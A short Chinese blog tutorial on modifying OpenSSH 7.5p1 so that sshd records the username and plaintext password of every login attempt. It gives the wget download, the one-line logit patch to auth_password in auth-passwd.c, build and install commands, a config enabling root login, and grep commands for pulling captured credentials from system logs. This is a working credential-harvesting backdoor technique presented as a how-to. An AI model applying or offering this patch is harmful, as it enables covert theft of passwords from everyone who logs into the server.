ssh日志记录登陆密码
ssh记录登陆密码
了解到ssh自身不记录登陆的用户名密码
但我们可以通过修改ssh源码或者打补丁的方式来实现对远程登陆用户密码的记录
只需修改ssh源码或者打补丁重新编译,安装
即可获得一个新的ssh用户端
过程
1、准备环境
安装对应的openssh源码包
wget https://mirror.leaseweb.com/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
创建相应的安装配置路径
mkdir -p /opt/ssh7.5p1/conf
当然还要安装相应依赖,这一步关乎后面的编译是否成功
注意debian和centos的依赖包名还不一样
#centos
yum install gcc zlib-devel openssl-devel -y
#debian
apt-get install gcc zlib1g-dev libssl1.0-dev -y
2、修改源码
解压刚下载的源码包
tar -zxvf openssh-7.5p1.tar.gz
进入目录
cd openssh-7.5p1
对源码进行一些修改
增加在日志中添加登陆用户名密码的功能
vi auth-passwd.c
添加一段代码
#找到函数auth_password,添加 logit("username: %s password: %s", authctxt->user, password);
3、编译安装
开始编译
./configure --sysconfdir=/opt/ssh7.5p1/conf/ --without-zlib-version-check --with-md5-passwords --prefix=/opt/ssh7.5p1/
#参数说明
--sysconfdir #配置文件目录
--without-zlib-version-check
--with-md5-passwords
--prefix #安装目录
在没有报错的情况下
进一步make
make install
之后就可以启动使用
/opt/ssh7.5p1/sbin/sshd
默认22端口,记得先把原先ssh停掉
4、登陆配置修改
按照前面设定的配置目录找到sshd_config
#修改配置文件 vim /opt/ssh7.5p1/conf/sshd_config
就跟正常改ssh配置文件操作一样,像允许远程用户登陆、修改端口
#修改端口 Port 1022 #允许root账号登陆 PermitRootLogin yes
5、日志查看
centos和debain日志位置不同
#centos grep 'username:' /var/log/messages
#debian grep 'username:' /var/log/auth.log
远程登陆一波
运行结果如下:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· Obsidian + DeepSeek:免费 AI 助力你的知识管理,让你的笔记飞起来!
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了